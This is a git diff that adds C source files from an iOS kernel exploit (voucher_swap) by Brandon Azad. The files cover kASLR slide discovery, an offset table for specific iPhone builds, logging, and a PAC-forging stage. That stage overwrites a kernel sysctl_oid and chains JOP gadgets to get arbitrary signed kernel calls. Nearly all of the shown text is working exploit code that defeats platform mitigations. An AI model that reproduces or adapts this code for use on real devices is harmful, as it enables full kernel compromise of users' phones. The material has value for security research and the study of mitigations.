+ // may not exactly match the current platform's CPU subtype (e.g. on iPhone10,1,
+ // header.cpusubtype is CPU_SUBTYPE_ARM64_ALL while platform.cpu_subtype is
+ // CPU_SUBTYPE_ARM64_V8).
+ if (!(header.magic == MH_MAGIC_64
+ && header.cputype == platform.cpu_type
+ && header.filetype == MH_EXECUTE
+ && header.ncmds > 2)) {
+ return false;
+ }
+ return true;
+}
+
+bool
+kernel_slide_init() {
+ if (kernel_slide != 0) {
+ return true;
+ }
+ // Get the address of the host port.
+ mach_port_t host = mach_host_self();
+ assert(MACH_PORT_VALID(host));
+ uint64_t host_port;
+ bool ok = kernel_ipc_port_lookup(current_task, host, &host_port, NULL);
+ mach_port_deallocate(mach_task_self(), host);
+ if (!ok) {
+ ERROR("could not lookup host port");
+ return false;
+ }
+ // Get the address of realhost.
+ uint64_t realhost = kernel_read64(host_port + OFFSET(ipc_port, ip_kobject));
+ return kernel_slide_init_with_kernel_image_address(realhost);
+}
+
+bool
+kernel_slide_init_with_kernel_image_address(uint64_t address) {
+ if (kernel_slide != 0) {
+ return true;
+ }
+ // Find the highest possible kernel base address that could still correspond to the given
+ // kernel image address.
+ uint64_t base = STATIC_ADDRESS(kernel_base);
+ assert(address > base);
+ base = base + ((address - base) / kernel_slide_step) * kernel_slide_step;
+ // Now walk backwards from that kernel base one kernel slide at a time until we find the
+ // real kernel base.
+ while (base > STATIC_ADDRESS(kernel_base)) {
+ bool found = is_kernel_base(base);
+ if (found) {
+ kernel_slide = base - STATIC_ADDRESS(kernel_base);
+ DEBUG_TRACE(1, "found kernel slide 0x%016llx", kernel_slide);
+ return true;
+ }
+ base -= kernel_slide_step;
+ }
+ ERROR("could not find kernel base");
+ ERROR("could not determine kernel slide");
+ return false;
+}
diff --git a/kernel_call/kernel_slide.h b/kernel_call/kernel_slide.h
new file mode 100755
index 0000000..924485d
--- /dev/null
+++ b/kernel_call/kernel_slide.h
@@ -0,0 +1,42 @@
+/*
+ * kernel_slide.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__KERNEL_SLIDE_H_
+#define VOUCHER_SWAP__KERNEL_SLIDE_H_
+
+#include <stdbool.h>
+#include <stdint.h>
+
+#ifdef KERNEL_SLIDE_EXTERN
+#define extern KERNEL_SLIDE_EXTERN
+#endif
+
+/*
+ * kernel_slide
+ *
+ * Description:
+ * The kASLR slide.
+ */
+extern uint64_t kernel_slide;
+
+/*
+ * kernel_slide_init
+ *
+ * Description:
+ * Find the value of the kernel slide using kernel_read() and current_task.
+ */
+bool kernel_slide_init(void);
+
+/*
+ * kernel_slide_init_with_kernel_image_address
+ *
+ * Description:
+ * Find the value of the kernel slide using kernel_read(), starting with an address that is
+ * known to reside within the kernel image.
+ */
+bool kernel_slide_init_with_kernel_image_address(uint64_t address);
+
+#undef extern
+
+#endif
diff --git a/kernel_call/log.c b/kernel_call/log.c
new file mode 100755
index 0000000..0ff5f01
--- /dev/null
+++ b/kernel_call/log.c
@@ -0,0 +1,37 @@
+/*
+ * log.c
+ * Brandon Azad
+ */
+#include "log.h"
+
+#include <assert.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+void
+log_internal(char type, const char *format, ...) {
+ if (log_implementation != NULL) {
+ va_list ap;
+ va_start(ap, format);
+ log_implementation(type, format, ap);
+ va_end(ap);
+ }
+}
+
+// The default logging implementation prints to stderr with a nice hacker prefix.
+static void
+log_stderr(char type, const char *format, va_list ap) {
+ char *message = NULL;
+ vasprintf(&message, format, ap);
+ assert(message != NULL);
+ switch (type) {
+ case 'D': type = 'D'; break;
+ case 'I': type = '+'; break;
+ case 'W': type = '!'; break;
+ case 'E': type = '-'; break;
+ }
+ fprintf(stderr, "[%c] %s\n", type, message);
+ free(message);
+}
+
+void (*log_implementation)(char type, const char *format, va_list ap) = log_stderr;
diff --git a/kernel_call/log.h b/kernel_call/log.h
new file mode 100755
index 0000000..af1920f
--- /dev/null
+++ b/kernel_call/log.h
@@ -0,0 +1,57 @@
+/*
+ * log.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__LOG_H_
+#define VOUCHER_SWAP__LOG_H_
+
+#include <stdarg.h>
+#include <stdio.h>
+
+/*
+ * log_implementation
+ *
+ * Description:
+ * This is the log handler that will be executed when code wants to log a message. The default
+ * implementation logs the message to stderr. Setting this value to NULL will disable all
+ * logging. Specify a custom log handler to process log messages in another way.
+ *
+ * Parameters:
+ * type A character representing the type of message that is being
+ * logged.
+ * format A printf-style format string describing the error message.
+ * ap The variadic argument list for the format string.
+ *
+ * Log Type:
+ * The type parameter is one of:
+ * - D: Debug: Used for debugging messages. Set the DEBUG build variable to control debug
+ * verbosity.
+ * - I: Info: Used to convey general information about the exploit or its progress.
+ * - W: Warning: Used to indicate that an unusual but possibly recoverable condition was
+ * encountered.
+ * - E: Error: Used to indicate that an unrecoverable error was encountered. The code
+ * might continue running after an error was encountered, but it probably will
+ * not succeed.
+ */
+extern void (*log_implementation)(char type, const char *format, va_list ap);
+
+#define DEBUG_LEVEL(level) (DEBUG && level <= DEBUG)
+
+#if DEBUG
+#define DEBUG_TRACE(level, fmt, ...) \
+ do { \
+ if (DEBUG_LEVEL(level)) { \
+ log_internal('D', fmt, ##__VA_ARGS__); \
+ } \
+ } while (0)
+#else
+#define DEBUG_TRACE(level, fmt, ...) do {} while (0)
+#endif
+#define INFO(fmt, ...) log_internal('I', fmt, ##__VA_ARGS__)
+#define WARNING(fmt, ...) log_internal('W', fmt, ##__VA_ARGS__)
+#define ERROR(fmt, ...) log_internal('E', fmt, ##__VA_ARGS__)
+
+// A function to call the logging implementation.
+void log_internal(char type, const char *format, ...) __printflike(2, 3);
+
+#endif
diff --git a/kernel_call/mach_vm.h b/kernel_call/mach_vm.h
new file mode 100755
index 0000000..93263f0
--- /dev/null
+++ b/kernel_call/mach_vm.h
@@ -0,0 +1,46 @@
+/*
+ * mach_vm.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__MACH_VM_H_
+#define VOUCHER_SWAP__MACH_VM_H_
+
+#include <mach/mach.h>
+
+extern
+kern_return_t mach_vm_allocate
+(
+ vm_map_t target,
+ mach_vm_address_t *address,
+ mach_vm_size_t size,
+ int flags
+);
+
+extern
+kern_return_t mach_vm_deallocate
+(
+ vm_map_t target,
+ mach_vm_address_t address,
+ mach_vm_size_t size
+);
+
+extern
+kern_return_t mach_vm_write
+(
+ vm_map_t target_task,
+ mach_vm_address_t address,
+ vm_offset_t data,
+ mach_msg_type_number_t dataCnt
+);
+
+extern
+kern_return_t mach_vm_read_overwrite
+(
+ vm_map_t target_task,
+ mach_vm_address_t address,
+ mach_vm_size_t size,
+ mach_vm_address_t data,
+ mach_vm_size_t *outsize
+);
+
+#endif
diff --git a/kernel_call/pac.c b/kernel_call/pac.c
new file mode 100755
index 0000000..9f036fc
--- /dev/null
+++ b/kernel_call/pac.c
@@ -0,0 +1,272 @@
+/*
+ * kernel_call/pac.c
+ * Brandon Azad
+ */
+#include "pac.h"
+
+#include "kernel_call.h"
+#include "kc_parameters.h"
+#include "user_client.h"
+#include "kernel_memory.h"
+#include "log.h"
+#include "mach_vm.h"
+#include "parameters.h"
+
+#if __arm64e__
+
+// ---- Global variables --------------------------------------------------------------------------
+
+// The address of our kernel buffer.
+static uint64_t kernel_pacxa_buffer;
+
+// The forged value PACIZA('mov x0, x4 ; br x5').
+static uint64_t paciza__mov_x0_x4__br_x5;
+
+// ---- Stage 2 -----------------------------------------------------------------------------------
+
+/*
+ * stage1_kernel_call_7
+ *
+ * Description:
+ * Call a kernel function using our stage 1 execute primitive with explicit registers.
+ *
+ * See stage1_kernel_call_7v.
+ */
+static uint32_t
+stage1_kernel_call_7(uint64_t function, uint64_t x1, uint64_t x2, uint64_t x3,
+ uint64_t x4, uint64_t x5, uint64_t x6) {
+ uint64_t arguments[7] = { 1, x1, x2, x3, x4, x5, x6 };
+ return stage1_kernel_call_7v(function, 7, arguments);
+}
+
+/*
+ * stage1_init_kernel_pacxa_forging
+ *
+ * Description:
+ * Initialize our stage 1 capability to forge PACIA and PACDA pointers.
+ */
+static void
+stage1_init_kernel_pacxa_forging() {
+ // Get the authorized pointers to l2tp_domain_module_start() and l2tp_domain_module_stop().
+ // Because these values already contain the PACIZA code, we can call them with the stage 0
+ // call primitive to start/stop the module.
+ uint64_t paciza__l2tp_domain_module_start = kernel_read64(
+ ADDRESS(paciza_pointer__l2tp_domain_module_start));
+ uint64_t paciza__l2tp_domain_module_stop = kernel_read64(
+ ADDRESS(paciza_pointer__l2tp_domain_module_stop));
+
+ // Read out the original value of sysctl__net_ppp_l2tp__data.
+ uint8_t sysctl__net_ppp_l2tp__data[SIZE(sysctl_oid)];
+ kernel_read(ADDRESS(sysctl__net_ppp_l2tp), sysctl__net_ppp_l2tp__data, SIZE(sysctl_oid));
+
+ // Create a fake sysctl_oid for sysctl_unregister_oid(). We craft this sysctl_oid such that
+ // sysctl_unregister_oid() will execute the following instruction sequence:
+ //
+ // LDR X10, [X9,#0x30]! ; X10 = old_oidp->oid_handler
+ // CBNZ X19, loc_FFFFFFF007EBD330
+ // CBZ X10, loc_FFFFFFF007EBD330
+ // MOV X19, #0
+ // MOV X11, X9 ; X11 = &old_oidp->oid_handler
+ // MOVK X11, #0x14EF,LSL#48 ; X11 = 14EF`&oid_handler
+ // AUTIA X10, X11 ; X10 = AUTIA(handler, 14EF`&handler)
+ // PACIZA X10 ; X10 = PACIZA(X10)
+ // STR X10, [X9] ; old_oidp->oid_handler = X10
+ //
+ uint8_t fake_sysctl_oid[SIZE(sysctl_oid)];
+ memset(fake_sysctl_oid, 0xab, SIZE(sysctl_oid));
+ FIELD(fake_sysctl_oid, sysctl_oid, oid_parent, uint64_t) = ADDRESS(sysctl__net_ppp_l2tp) + OFFSET(sysctl_oid, oid_link);
+ FIELD(fake_sysctl_oid, sysctl_oid, oid_link, uint64_t) = ADDRESS(sysctl__net_ppp_l2tp);
+ FIELD(fake_sysctl_oid, sysctl_oid, oid_kind, uint32_t) = 0x400000;
+ FIELD(fake_sysctl_oid, sysctl_oid, oid_handler, uint64_t) = ADDRESS(mov_x0_x4__br_x5);
+ FIELD(fake_sysctl_oid, sysctl_oid, oid_version, uint32_t) = 1;
+ FIELD(fake_sysctl_oid, sysctl_oid, oid_refcnt, uint32_t) = 0;
+
+ // Overwrite sysctl__net_ppp_l2tp with our fake sysctl_oid.
+ kernel_write(ADDRESS(sysctl__net_ppp_l2tp), fake_sysctl_oid, SIZE(sysctl_oid));
+
+ // Call l2tp_domain_module_stop() to trigger sysctl_unregister_oid() on our fake
+ // sysctl_oid, which will PACIZA our pointer to the "mov x0, x4 ; br x5" gadget.
+ __unused uint32_t ret;
+ ret = stage1_kernel_call_7(
+ paciza__l2tp_domain_module_stop, // PC
+ 0, 0, 0, 0, 0, 0); // X1 - X6
+ DEBUG_TRACE(1, "%s(): 0x%08x; l2tp_domain_inited = %d",
+ "l2tp_domain_module_stop", ret,
+ kernel_read32(ADDRESS(l2tp_domain_inited)));
+
+ // Read back the PACIZA'd pointer to the 'mov x0, x4 ; br x5' gadget. This pointer will not
+ // be exactly correct, since it PACIZA'd an AUTIA'd pointer we didn't sign. But we can use
+ // this value to reconstruct the correct PACIZA'd pointer.
+ uint64_t handler = kernel_read64(
+ ADDRESS(sysctl__net_ppp_l2tp) + OFFSET(sysctl_oid, oid_handler));
+ paciza__mov_x0_x4__br_x5 = handler ^ (1uLL << (63 - 1));
+ DEBUG_TRACE(1, "PACIZA(%s) = 0x%016llx", "'mov x0, x4 ; br x5'", paciza__mov_x0_x4__br_x5);
+
+ // Now write back the original sysctl_oid and call sysctl_unregister_oid() to clean it up.
+ kernel_write(ADDRESS(sysctl__net_ppp_l2tp), sysctl__net_ppp_l2tp__data, SIZE(sysctl_oid));
+ ret = stage1_kernel_call_7(
+ paciza__mov_x0_x4__br_x5, // PC
+ 0, 0, 0, // X1 - X3
+ ADDRESS(sysctl__net_ppp_l2tp), // X4
+ ADDRESS(sysctl_unregister_oid), // X5
+ 0); // X6
+ DEBUG_TRACE(2, "%s(%016llx) = 0x%08x", "sysctl_unregister_oid",
+ ADDRESS(sysctl__net_ppp_l2tp), ret);
+
+ // And finally call l2tp_domain_module_start() to re-initialize the module.
+ ret = stage1_kernel_call_7(
+ paciza__l2tp_domain_module_start, // PC
+ 0, 0, 0, 0, 0, 0); // X1 - X6
+ DEBUG_TRACE(1, "%s(): 0x%08x; l2tp_domain_inited = %d",
+ "l2tp_domain_module_start", ret,
+ kernel_read32(ADDRESS(l2tp_domain_inited)));
+
+ // Alright, so now we have an arbitrary call gadget!
+ kernel_pacxa_buffer = stage1_get_kernel_buffer();
+}
+
+// ---- Stage 2 -----------------------------------------------------------------------------------
+
+/*
+ * stage2_kernel_forge_pacxa
+ *
+ * Description:
+ * Forge a PACIA or PACDA pointer using the kernel forging gadgets.
+ */
+static uint64_t
+stage2_kernel_forge_pacxa(uint64_t address, uint64_t context, bool instruction) {
+ const size_t pacxa_buffer_size = SIZE(kernel_forge_pacxa_gadget_buffer);
+ const size_t pacxa_buffer_offset = OFFSET(kernel_forge_pacxa_gadget_buffer, first_access);
+ // Initialize the kernel_pacxa_buffer to be all zeros.
+ uint8_t pacxa_buffer[pacxa_buffer_size - pacxa_buffer_offset];
+ memset(pacxa_buffer, 0, sizeof(pacxa_buffer));
+ kernel_write(kernel_pacxa_buffer, pacxa_buffer, sizeof(pacxa_buffer));
+ // The buffer address we pass to the gadget is offset from the part of that we initialize
+ // (to save us some space). The result is stored at different offsets in the buffer
+ // depending on whether the operation is PACIA or PACDA.
+ uint64_t buffer_address = kernel_pacxa_buffer - pacxa_buffer_offset;
+ uint64_t result_address = buffer_address;
+ uint64_t pacxa_gadget;
+ if (instruction) {
+ result_address += OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result);
+ pacxa_gadget = ADDRESS(kernel_forge_pacia_gadget);
+ } else {
+ result_address += OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result);
+ pacxa_gadget = ADDRESS(kernel_forge_pacda_gadget);
+ }
+ // We need to set:
+ //
+ // x2 = buffer_address
+ // x9 = address
+ // x10 = context
+ //
+ // In order to do that we'll execute the following JOP sequence before jumping to the
+ // gadget:
+ //
+ // mov x0, x4 ; br x5
+ // mov x9, x0 ; br x1
+ // mov x10, x3 ; br x6
+ //
+ __unused uint32_t ret;
+ ret = stage1_kernel_call_7(
+ paciza__mov_x0_x4__br_x5, // PC
+ ADDRESS(mov_x10_x3__br_x6), // X1
+ buffer_address, // X2
+ context, // X3
+ address, // X4
+ ADDRESS(mov_x9_x0__br_x1), // X5
+ pacxa_gadget); // X6
+ DEBUG_TRACE(2, "%s_GADGET(): 0x%08x", (instruction ? "PACIA" : "PACDA"), ret);
+ // Now recover the PACXA'd value.
+ uint64_t pacxa = kernel_read64(result_address);
+ return pacxa;
+}
+
+/*
+ * xpaci
+ *
+ * Description:
+ * Strip a PACIx code from a pointer.
+ */
+static uint64_t
+xpaci(uint64_t pointer) {
+ asm("xpaci %[value]\n" : [value] "+r"(pointer));
+ return pointer;
+}
+
+/*
+ * xpacd
+ *
+ * Description:
+ * Strip a PACDx code from a pointer.
+ */
+static uint64_t
+xpacd(uint64_t pointer) {
+ asm("xpacd %[value]\n" : [value] "+r"(pointer));
+ return pointer;
+}
+
+#endif // __arm64e__
+
+// ---- API ---------------------------------------------------------------------------------------
+
+bool
+stage2_kernel_call_init() {
+#if __arm64e__
+ stage1_init_kernel_pacxa_forging();
+#endif
+ return true;
+}
+
+void
+stage2_kernel_call_deinit() {
+}
+
+uint32_t
+stage2_kernel_call_7v(uint64_t function,
+ size_t argument_count, const uint64_t arguments[]) {
+ uint64_t paciza_function = kernel_forge_pacia(function, 0);
+ return stage1_kernel_call_7v(paciza_function, argument_count, arguments);
+}
+
+uint64_t
+kernel_forge_pacia(uint64_t pointer, uint64_t context) {
+#if __arm64e__
+ return stage2_kernel_forge_pacxa(pointer, context, true);
+#else
+ return pointer;
+#endif
+}
+
+uint64_t
+kernel_forge_pacia_with_type(uint64_t pointer, uint64_t address, uint16_t type) {
+ uint64_t context = ((uint64_t) type << 48) | (address & 0x0000ffffffffffff);
+ return kernel_forge_pacia(pointer, context);
+}
+
+uint64_t
+kernel_forge_pacda(uint64_t pointer, uint64_t context) {
+#if __arm64e__
+ return stage2_kernel_forge_pacxa(pointer, context, false);
+#else
+ return pointer;
+#endif
+}
+
+uint64_t
+kernel_xpaci(uint64_t pointer) {
+#if __arm64e__
+ return xpaci(pointer);
+#else
+ return pointer;
+#endif
+}
+
+uint64_t
+kernel_xpacd(uint64_t pointer) {
+#if __arm64e__
+ return xpacd(pointer);
+#else
+ return pointer;
+#endif
+}
diff --git a/kernel_call/pac.h b/kernel_call/pac.h
new file mode 100755
index 0000000..34a6264
--- /dev/null
+++ b/kernel_call/pac.h
@@ -0,0 +1,48 @@
+/*
+ * kernel_call/pac.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__KERNEL_CALL__PAC_H_
+#define VOUCHER_SWAP__KERNEL_CALL__PAC_H_
+
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+
+/*
+ * stage2_kernel_call_init
+ *
+ * Description:
+ * Initialize stage 2 of kernel function calling.
+ *
+ * Initializes:
+ * stage2_kernel_call_7v()
+ * kernel_forge_pacia()
+ * kernel_forge_pacia_with_type()
+ * kernel_forge_pacda()
+ */
+bool stage2_kernel_call_init(void);
+
+/*
+ * stage2_kernel_call_deinit
+ *
+ * Description:
+ * Deinitialize stage 2 of kernel function calling.
+ */
+void stage2_kernel_call_deinit(void);
+
+/*
+ * stage2_kernel_call_7v
+ *
+ * Description:
+ * Call a kernel function using our stage 2 execute primitive.
+ *
+ * Restrictions:
+ * At most 7 arguments can be passed.
+ * The return value is truncated to 32 bits.
+ * At stage 2, only arguments X1 - X6 are controlled.
+ */
+uint32_t stage2_kernel_call_7v(uint64_t function,
+ size_t argument_count, const uint64_t arguments[]);
+
+#endif
diff --git a/kernel_call/parameters.c b/kernel_call/parameters.c
new file mode 100755
index 0000000..5a5c715
--- /dev/null
+++ b/kernel_call/parameters.c
@@ -0,0 +1,212 @@
+/*
+ * parameters.c
+ * Brandon Azad
+ */
+#define PARAMETERS_EXTERN
+#include "parameters.h"
+
+#include <assert.h>
+#include <stdbool.h>
+#include <string.h>
+#include <sys/sysctl.h>
+#include <sys/utsname.h>
+
+#include "log.h"
+#include "platform.h"
+#include "platform_match.h"
+
+// ---- Initialization routines -------------------------------------------------------------------
+
+// A struct describing an initialization.
+struct initialization {
+ const char *devices;
+ const char *builds;
+ void (*init)(void);
+};
+
+// Run initializations matching this platform.
+static size_t
+run_initializations(struct initialization *inits, size_t count) {
+ size_t match_count = 0;
+ for (size_t i = 0; i < count; i++) {
+ struct initialization *init = &inits[i];
+ if (platform_matches(init->devices, init->builds)) {
+ init->init();
+ match_count++;
+ }
+ }
+ return match_count;
+}
+
+// A helper macro to get the number of elements in a static array.
+#define ARRAY_COUNT(x) (sizeof(x) / sizeof((x)[0]))
+
+// ---- General system parameters -----------------------------------------------------------------
+
+// Initialization for general system parameters.
+static void
+init__system_parameters() {
+ STATIC_ADDRESS(kernel_base) = 0xFFFFFFF007004000;
+ kernel_slide_step = 0x200000;
+ message_size_for_kmsg_zone = 76;
+ kmsg_zone_size = 256;
+ max_ool_ports_per_message = 16382;
+ gc_step = 2 * MB;
+}
+
+// A list of general system parameter initializations by platform.
+static struct initialization system_parameters[] = {
+ { "*", "*", init__system_parameters },
+};
+
+// ---- Offset initialization ---------------------------------------------------------------------
+
+// Initialization for iPhone11,8 16C50 (and similar devices).
+static void
+offsets__iphone11_8__16C50() {
+ SIZE(ipc_entry) = 0x18;
+ OFFSET(ipc_entry, ie_object) = 0;
+ OFFSET(ipc_entry, ie_bits) = 8;
+ OFFSET(ipc_entry, ie_request) = 16;
+
+ SIZE(ipc_port) = 0xa8;
+ BLOCK_SIZE(ipc_port) = 0x4000;
+ OFFSET(ipc_port, ip_bits) = 0;
+ OFFSET(ipc_port, ip_references) = 4;
+ OFFSET(ipc_port, waitq_flags) = 24;
+ OFFSET(ipc_port, imq_messages) = 64;
+ OFFSET(ipc_port, imq_msgcount) = 80;
+ OFFSET(ipc_port, imq_qlimit) = 82;
+ OFFSET(ipc_port, ip_receiver) = 96;
+ OFFSET(ipc_port, ip_kobject) = 104;
+ OFFSET(ipc_port, ip_nsrequest) = 112;
+ OFFSET(ipc_port, ip_requests) = 128;
+ OFFSET(ipc_port, ip_mscount) = 156;
+ OFFSET(ipc_port, ip_srights) = 160;
+
+ SIZE(ipc_port_request) = 0x10;
+ OFFSET(ipc_port_request, ipr_soright) = 0;
+
+ OFFSET(ipc_space, is_table_size) = 0x14;
+ OFFSET(ipc_space, is_table) = 0x20;
+
+ SIZE(ipc_voucher) = 0x50;
+ BLOCK_SIZE(ipc_voucher) = 0x4000;
+
+ OFFSET(proc, p_pid) = 0x60;
+ OFFSET(proc, p_ucred) = 0xf8;
+ OFFSET(proc, task) = 0x10;
+ OFFSET(proc, p_list) = 0x8;
+
+ SIZE(sysctl_oid) = 0x50;
+ OFFSET(sysctl_oid, oid_parent) = 0x0;
+ OFFSET(sysctl_oid, oid_link) = 0x8;
+ OFFSET(sysctl_oid, oid_kind) = 0x14;
+ OFFSET(sysctl_oid, oid_handler) = 0x30;
+ OFFSET(sysctl_oid, oid_version) = 0x48;
+ OFFSET(sysctl_oid, oid_refcnt) = 0x4c;
+
+ OFFSET(task, lck_mtx_type) = 0xb;
+ OFFSET(task, ref_count) = 0x10;
+ OFFSET(task, active) = 0x14;
+ OFFSET(task, map) = 0x20;
+ OFFSET(task, itk_space) = 0x300;
+ OFFSET(task, bsd_info) = 0x368;
+}
+
+// Initialization for iPhone10,1 16B92 (and similar devices).
+static void
+offsets__iphone10_1__16B92() {
+ offsets__iphone11_8__16C50();
+
+ OFFSET(task, bsd_info) = 0x358;
+}
+
+// Initialization for iPhone10,1 16B92 (and similar devices).
+static void
+offsets__iphone9_3__15E302() {
+ SIZE(ipc_entry) = 0x18;
+ OFFSET(ipc_entry, ie_object) = 0;
+ OFFSET(ipc_entry, ie_bits) = 8;
+ OFFSET(ipc_entry, ie_request) = 16;
+
+ SIZE(ipc_port) = 0xa8;
+ BLOCK_SIZE(ipc_port) = 0x4000;
+ OFFSET(ipc_port, ip_bits) = 0;
+ OFFSET(ipc_port, ip_references) = 4;
+ OFFSET(ipc_port, waitq_flags) = 24;
+ OFFSET(ipc_port, imq_messages) = 0x40;
+ OFFSET(ipc_port, imq_msgcount) = 0x50;
+ OFFSET(ipc_port, imq_qlimit) = 0x52;
+ OFFSET(ipc_port, ip_receiver) = 0x60;
+ OFFSET(ipc_port, ip_kobject) = 0x68;
+ OFFSET(ipc_port, ip_nsrequest) = 0x70;
+ OFFSET(ipc_port, ip_requests) = 0x80;
+ OFFSET(ipc_port, ip_mscount) = 0x9c;
+ OFFSET(ipc_port, ip_srights) = 0xa0;
+
+ SIZE(ipc_port_request) = 0x10;
+ OFFSET(ipc_port_request, ipr_soright) = 0;
+
+ OFFSET(ipc_space, is_table_size) = 0x14;
+ OFFSET(ipc_space, is_table) = 0x20;
+
+ SIZE(ipc_voucher) = 0x50;
+ BLOCK_SIZE(ipc_voucher) = 0x4000;
+
+ OFFSET(proc, p_pid) = 0x10;
+ OFFSET(proc, p_ucred) = 0x100;
+ OFFSET(proc, task) = 0x18;
+ OFFSET(proc, p_list) = 0x8;
+
+ SIZE(sysctl_oid) = 0x50;
+ OFFSET(sysctl_oid, oid_parent) = 0x0;
+ OFFSET(sysctl_oid, oid_link) = 0x8;
+ OFFSET(sysctl_oid, oid_kind) = 0x14;
+ OFFSET(sysctl_oid, oid_handler) = 0x30;
+ OFFSET(sysctl_oid, oid_version) = 0x48;
+ OFFSET(sysctl_oid, oid_refcnt) = 0x4c;
+
+ OFFSET(task, lck_mtx_type) = 0xb;
+ OFFSET(task, ref_count) = 0x10;
+ OFFSET(task, active) = 0x14;
+ OFFSET(task, map) = 0x20;
+ OFFSET(task, itk_space) = 0x308;
+ OFFSET(task, bsd_info) = 0x368;
+}
+
+// Initialize offset parameters whose values are computed from other parameters.
+static void
+initialize_computed_offsets() {
+ COUNT_PER_BLOCK(ipc_port) = BLOCK_SIZE(ipc_port) / SIZE(ipc_port);
+ COUNT_PER_BLOCK(ipc_voucher) = BLOCK_SIZE(ipc_voucher) / SIZE(ipc_voucher);
+}
+
+// A list of offset initializations by platform.
+static struct initialization offsets[] = {
+ { "*", "15A5278f-15G77", offsets__iphone9_3__15E302 },
+ { "*", "16A366-16D5024a", offsets__iphone10_1__16B92 },
+ { "iPhone11,*", "16A366-16D5024a", offsets__iphone11_8__16C50 },
+ { "iPad8,*", "16A366-16D5024a", offsets__iphone11_8__16C50 },
+ { "*", "*", initialize_computed_offsets },
+};
+
+// The minimum number of offsets that must match in order to declare a platform initialized.
+static const size_t min_offsets = 2;
+
+// ---- Public API --------------------------------------------------------------------------------
+
+bool
+parameters_init() {
+ // Get general platform info.
+ platform_init();
+ // Initialize general system parameters.
+ run_initializations(system_parameters, ARRAY_COUNT(system_parameters));
+ // Initialize offsets.
+ size_t count = run_initializations(offsets, ARRAY_COUNT(offsets));
+ if (count < min_offsets) {
+ ERROR("no offsets for %s %s", platform.machine, platform.osversion);
+ return false;
+ }
+ return true;
+}
diff --git a/kernel_call/parameters.h b/kernel_call/parameters.h
new file mode 100755
index 0000000..ef15c65
--- /dev/null
+++ b/kernel_call/parameters.h
@@ -0,0 +1,130 @@
+/*
+ * parameters.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__PARAMETERS_H_
+#define VOUCHER_SWAP__PARAMETERS_H_
+
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+
+#ifdef PARAMETERS_EXTERN
+#define extern PARAMETERS_EXTERN
+#endif
+
+// Some helpful units.
+#define KB (1024uLL)
+#define MB (1024uLL * KB)
+#define GB (1024uLL * MB)
+
+// Generate the name for an offset.
+#define OFFSET(base_, object_) _##base_##__##object_##__offset_
+
+// Generate the name for the size of an object.
+#define SIZE(object_) _##object_##__size_
+
+// Generate the name for the size of a zalloc block of objects.
+#define BLOCK_SIZE(object_) _##object_##__block_size_
+
+// Generate the name for the number of elements in a zalloc block.
+#define COUNT_PER_BLOCK(object_) _##object_##__per_block_
+
+// Generate the name for the address of an object.
+#define ADDRESS(object_) _##object_##__address_
+
+// Generate the name for the static (unslid) address of an object.
+#define STATIC_ADDRESS(object_) _##object_##__static_address_
+
+// A convenience macro for accessing a field of a structure.
+#define FIELD(object_, struct_, field_, type_) \
+ ( *(type_ *) ( ((uint8_t *) object_) + OFFSET(struct_, field_) ) )
+
+// The static base address of the kernel.
+extern uint64_t STATIC_ADDRESS(kernel_base);
+
+// The kernel_slide granularity.
+extern uint64_t kernel_slide_step;
+
+// Messages up to this size are allocated from the dedicated ipc.kmsgs zone.
+extern size_t message_size_for_kmsg_zone;
+
+// The size of elements in ipc.kmsgs.
+extern size_t kmsg_zone_size;
+
+// The maximum number of OOL ports in a single message.
+extern size_t max_ool_ports_per_message;
+
+// How much to allocate between sleeps while trying to trigger garbage collection.
+extern size_t gc_step;
+
+// Parameters for ipc_entry.
+extern size_t SIZE(ipc_entry);
+extern size_t OFFSET(ipc_entry, ie_object);
+extern size_t OFFSET(ipc_entry, ie_bits);
+extern size_t OFFSET(ipc_entry, ie_request);
+
+// Parameters for ipc_port.
+extern size_t SIZE(ipc_port);
+extern size_t BLOCK_SIZE(ipc_port);
+extern size_t COUNT_PER_BLOCK(ipc_port);
+extern size_t OFFSET(ipc_port, ip_bits);
+extern size_t OFFSET(ipc_port, ip_references);
+extern size_t OFFSET(ipc_port, waitq_flags);
+extern size_t OFFSET(ipc_port, imq_messages);
+extern size_t OFFSET(ipc_port, imq_msgcount);
+extern size_t OFFSET(ipc_port, imq_qlimit);
+extern size_t OFFSET(ipc_port, ip_receiver);
+extern size_t OFFSET(ipc_port, ip_kobject);
+extern size_t OFFSET(ipc_port, ip_nsrequest);
+extern size_t OFFSET(ipc_port, ip_requests);
+extern size_t OFFSET(ipc_port, ip_mscount);
+extern size_t OFFSET(ipc_port, ip_srights);
+
+// Parameters for ipc_port_request.
+extern size_t SIZE(ipc_port_request);
+extern size_t OFFSET(ipc_port_request, ipr_soright);
+
+// Parameters for struct ipc_space.
+extern size_t OFFSET(ipc_space, is_table_size);
+extern size_t OFFSET(ipc_space, is_table);
+
+// Parameters for ipc_voucher.
+extern size_t SIZE(ipc_voucher);
+extern size_t BLOCK_SIZE(ipc_voucher);
+extern size_t COUNT_PER_BLOCK(ipc_voucher);
+
+// Parameters for struct proc.
+extern size_t OFFSET(proc, p_pid);
+extern size_t OFFSET(proc, p_ucred);
+extern size_t OFFSET(proc, task);
+extern size_t OFFSET(proc, p_list);
+
+// Parameters for struct sysctl_oid.
+extern size_t SIZE(sysctl_oid);
+extern size_t OFFSET(sysctl_oid, oid_parent);
+extern size_t OFFSET(sysctl_oid, oid_link);
+extern size_t OFFSET(sysctl_oid, oid_kind);
+extern size_t OFFSET(sysctl_oid, oid_handler);
+extern size_t OFFSET(sysctl_oid, oid_version);
+extern size_t OFFSET(sysctl_oid, oid_refcnt);
+
+// Parameters for struct task.
+extern size_t OFFSET(task, lck_mtx_type);
+extern size_t OFFSET(task, ref_count);
+extern size_t OFFSET(task, active);
+extern size_t OFFSET(task, map);
+extern size_t OFFSET(task, itk_space);
+extern size_t OFFSET(task, bsd_info);
+
+/*
+ * parameters_init
+ *
+ * Description:
+ * Initialize the parameters for the system.
+ */
+bool parameters_init(void);
+
+#undef extern
+
+#endif
